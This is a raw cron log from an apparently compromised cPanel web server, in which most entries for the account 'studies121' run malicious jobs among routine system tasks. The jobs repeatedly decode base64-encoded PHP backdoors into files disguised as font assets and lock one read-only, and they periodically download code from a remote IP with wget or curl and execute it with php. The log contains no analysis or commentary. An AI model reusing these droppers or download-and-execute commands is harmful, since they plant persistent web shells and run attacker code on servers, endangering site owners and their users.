Sep 20 23:25:01 ip-184-168-122-23 CROND[25331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:25:01 ip-184-168-122-23 CROND[25330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:26:01 ip-184-168-122-23 CROND[25435]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:26:01 ip-184-168-122-23 CROND[25438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:26:01 ip-184-168-122-23 CROND[25439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:26:01 ip-184-168-122-23 CROND[25437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:26:01 ip-184-168-122-23 CROND[25440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:27:01 ip-184-168-122-23 CROND[25542]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:27:01 ip-184-168-122-23 CROND[25544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:27:01 ip-184-168-122-23 CROND[25546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:27:01 ip-184-168-122-23 CROND[25547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:28:01 ip-184-168-122-23 CROND[25635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:28:01 ip-184-168-122-23 CROND[25638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:28:01 ip-184-168-122-23 CROND[25639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:28:01 ip-184-168-122-23 CROND[25637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:28:01 ip-184-168-122-23 CROND[25640]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:29:01 ip-184-168-122-23 CROND[25736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:29:01 ip-184-168-122-23 CROND[25735]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:29:01 ip-184-168-122-23 CROND[25738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:29:01 ip-184-168-122-23 CROND[25737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:30:01 ip-184-168-122-23 CROND[25827]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:30:01 ip-184-168-122-23 CROND[25829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:30:01 ip-184-168-122-23 CROND[25832]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 23:30:01 ip-184-168-122-23 CROND[25833]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 23:30:01 ip-184-168-122-23 CROND[25835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:30:01 ip-184-168-122-23 CROND[25836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:30:01 ip-184-168-122-23 CROND[25837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:30:01 ip-184-168-122-23 CROND[25839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:31:01 ip-184-168-122-23 CROND[26017]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 23:31:01 ip-184-168-122-23 CROND[26019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:31:01 ip-184-168-122-23 CROND[26020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:31:01 ip-184-168-122-23 CROND[26018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:31:01 ip-184-168-122-23 CROND[26021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:32:01 ip-184-168-122-23 CROND[26112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:32:01 ip-184-168-122-23 CROND[26114]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:32:01 ip-184-168-122-23 CROND[26118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:32:01 ip-184-168-122-23 CROND[26116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:32:01 ip-184-168-122-23 CROND[26117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:33:01 ip-184-168-122-23 CROND[26208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:33:01 ip-184-168-122-23 CROND[26209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:33:01 ip-184-168-122-23 CROND[26212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:33:01 ip-184-168-122-23 CROND[26210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:34:01 ip-184-168-122-23 CROND[26289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:34:01 ip-184-168-122-23 CROND[26290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:34:01 ip-184-168-122-23 CROND[26292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:34:02 ip-184-168-122-23 CROND[26294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:34:02 ip-184-168-122-23 CROND[26298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:35:01 ip-184-168-122-23 CROND[26398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:35:01 ip-184-168-122-23 CROND[26400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:35:01 ip-184-168-122-23 CROND[26402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:35:01 ip-184-168-122-23 CROND[26406]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 23:35:01 ip-184-168-122-23 CROND[26407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:35:01 ip-184-168-122-23 CROND[26405]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 23:35:01 ip-184-168-122-23 CROND[26404]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 23:35:01 ip-184-168-122-23 CROND[26408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 23:36:01 ip-184-168-122-23 CROND[26604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:36:01 ip-184-168-122-23 CROND[26606]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 23:36:01 ip-184-168-122-23 CROND[26608]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 23:36:01 ip-184-168-122-23 CROND[26609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:36:02 ip-184-168-122-23 CROND[26607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 23:37:01 ip-184-168-122-23 CROND[26698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 23:37:01 ip-184-168-122-23 CROND[26699]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 23:37:01 ip-184-168-122-23 CROND[26700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
